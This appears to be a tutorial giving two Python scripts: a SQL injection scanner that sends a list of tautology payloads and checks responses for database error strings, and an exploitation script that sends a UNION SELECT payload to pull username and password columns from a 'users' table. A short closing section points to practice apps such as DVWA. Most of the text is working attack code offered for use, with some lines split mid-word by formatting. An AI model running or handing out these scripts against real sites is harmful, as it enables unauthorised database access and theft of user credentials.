SQL

To develop a tool in Python that detects and exploits SQL injection vulnerabilities, we'll create two main scripts: one for detection and one for exploitation. Below is a basic implementation of both.

1. SQL Injection Detection Tool

This script will send requests to a target URL with common SQL injection payloads and check for vulnerability by analyzing the response.

Detection Script: `sql_injection_scanner.py`

```
import requests

# List of common SQL injection payloads
payloads = [
    "' OR '1'='1",
    "' OR '1'='1' --",
    "' OR '1'='1' /*",
    "' OR '1'='1' #",
    "' OR 1=1",
    "' OR 1=1 --",
    "' OR 1=1 /*",
    "' OR 1=1 #",
    "' OR 'a'='a",
    "' OR 'a'='a' --",
    "' OR 'a'='a' /*",
    "' OR 'a'='a' #",
]

# Function to scan a URL for SQL injection vulnerability
def scan_url(url):
    print(f"Scanning {url} for SQL injection vulnerabilitie
s...")
```

```
    for payload in payloads:
        # Send a GET request with the payload
        vulnerable = False
        response = requests.get(url + payload)

        # Check for common SQL injection error messages
        errors = ["You have an error in your SQL syntax", "Wa
rning: mysql_fetch_array()", "Unclosed quotation mark", "Micr
osoft OLE DB"]

        for error in errors:
            if error in response.text:
                vulnerable = True
                break

        if vulnerable:
            print(f"[+] Potential SQL Injection vulnerability
found with payload: {payload}")
        else:
            print(f"[-] No vulnerability found with payload:
{payload}")

# Example usage
target_url = "http://example.com/search.php?query="
scan_url(target_url)
```

2. SQL Injection Exploitation Tool

This script will exploit a detected SQL injection vulnerability to extract data from the database.

Exploitation Script: `sql_injection_exploit.py`

```
import requests
```

```
# Function to exploit SQL injection to retrieve data
def exploit_sql_injection(url, column_names, table_name):
    # Craft the SQL injection payload
    payload = f"' UNION SELECT {','.join(column_names)} FROM
{table_name} -- "

    # Send the exploit payload to the target URL
    response = requests.get(url + payload)

    # Display the results
    print("[+] Exploitation successful! Retrieved data:")
    print(response.text)

# Example usage
target_url = "http://example.com/search.php?query="
column_names = ["username", "password"]
table_name = "users"
exploit_sql_injection(target_url, column_names, table_name)
```

3. Testing and Usage

1. **Set Up a Test Environment:**
   - Use a vulnerable web application like DVWA or OWASP Mutillidae to test the scripts.
   - Modify `target_url`, `column_names`, and `table_name` variables in the scripts to match your test environment.
2. **Run the Detection Script:**
   - This script will scan the specified URL for SQL injection vulnerabilities.
   - If a vulnerability is detected, note down the payload that worked.
3. **Run the Exploitation Script:**
   - Use the payload from the detection script to craft the exploit.

- Run the script to extract data from the database.